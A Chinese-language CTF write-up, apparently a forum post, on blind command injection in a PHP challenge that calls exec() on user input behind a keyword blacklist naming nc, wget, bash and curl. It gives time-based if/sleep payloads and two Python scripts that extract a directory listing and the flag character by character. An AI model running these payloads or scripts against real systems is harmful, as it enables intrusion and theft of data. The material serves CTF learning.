本帖最后由 孤樱懶契 于 2021-10-23 22:49 编辑
前言
记录web的题目wp,慢慢变强,铸剑。
命令行之无回显注入web
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
禁止了文件写入权限,所以tee已经无法使用,这里考虑用if和sleep来进行命令行盲注
利用shell编程的if判断语句配合awk以及cut命令来获取flag
1、awk逐行获取数据
2、cut命令逐列获取单个字符第一行
3、利用条件判断语句是否执行
if [ $(cat flag.txt | awk NR==1 | cut -c 2) == l ]; then echo "got it";fi
php中`可以当exec使用
if [ `cat flag.txt | awk NR==1 | cut -c 2` == l ; then echo "got it";fi
4、写一个脚本判断根目录的名称
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/10/07
# blog: gylq.gitee.io
import requests
import time
url = "http://89e63d88-3a32-4b94-a05d-0270f5795caf.challenge.ctf.show:8080/"
p_result = ""
for i in range(1, 5):
for j in range(1, 68):
for k in range(32, 128):
k = chr(k)
payload = "?c=" + "if [ `ls / | awk NR=={} | cut -c {}` == {} ]; then sleep 2;fi".format(i,j,k)
try:
requests.get(url=url + payload, timeout=(1.5, 1.5))
except:
p_result += k
print("【-】 ls /盲注:]".format(j))
print("【*】 p_result is context")
print(p_result)
p_result += " "
5、经过长时间的注入,发现flag的目录/f149_15_h3r3,接着改一下数值和命令直接拿flag,跑起来很慢,这点需要注意。
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/10/07
# blog: gylq.gitee.io
import requests
url = "http://89e63d88-3a32-4b94-a05d-0270f5795caf.challenge.ctf.show:8080/"
p_result = ""
for i in range(1, 5):
for j in range(1, 68):
for k in range(32, 128):
k = chr(k)
payload = "?c=" + "if [ `cat /f149_15_h3r3 | awk NR=={} | cut -c {}` == {} ]; then sleep 2;fi".format(i,j,k)
try:
requests.get(url=url + payload, timeout=(1.5, 1.5))
except:
p_result += k
print("【-】 ls /盲注:]".format(j))
print("【*】 p_result is context")
print(p_result)
p_result += " "
|